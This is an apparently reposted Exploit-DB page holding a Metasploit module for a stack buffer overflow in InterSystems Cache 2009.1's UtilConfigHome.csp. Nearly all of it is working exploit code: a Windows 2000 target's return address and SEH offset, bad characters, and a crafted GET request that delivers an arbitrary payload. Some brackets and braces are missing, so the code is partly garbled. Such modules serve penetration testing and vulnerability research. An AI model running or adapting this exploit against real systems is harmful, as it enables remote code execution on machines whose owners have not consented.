InterSystems Cache – UtilConfigHome.csp Argument Buffer Overflow (Metasploit)

Exploit Database
114 阅读

作者： Metasploit

日期： 2010-07-12
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16807/

# $Id: intersystems_cache.rb 9797 2010-07-12 23:25:31Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

# XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in InterSystems Cache 2009.1.

By sending a specially crafted GET request, an attacker may be able to execute

arbitrary code.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9797 $',

'References' =>

[

[ 'OSVDB', '60549' ],

[ 'BID', '37177' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Privileged' => true,

'Payload'=>

{

'Space'=> 650,

'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",

'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret

'DefaultTarget'=> 0,

'DisclosureDate' => 'Sep 29 2009')) # Initially...!

register_options( [ Opt::RPORT(57772) ], self.class )

end

def exploit

# offset to the seh frame.

sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)

# jmp $+6 | p/p/r

sploit <<Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')

# fall into some nops, jmp back to our final payload.

sploit <<make_nops(8) + [0xe9, -700].pack('CV')

# cause the av!

sploit <<rand_text_alpha_upper(payload.encoded.length)

print_status("Trying target #{target.name}...")

send_request_raw({

'uri'=> '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,

'method' => 'GET',

}, 5)

handler

end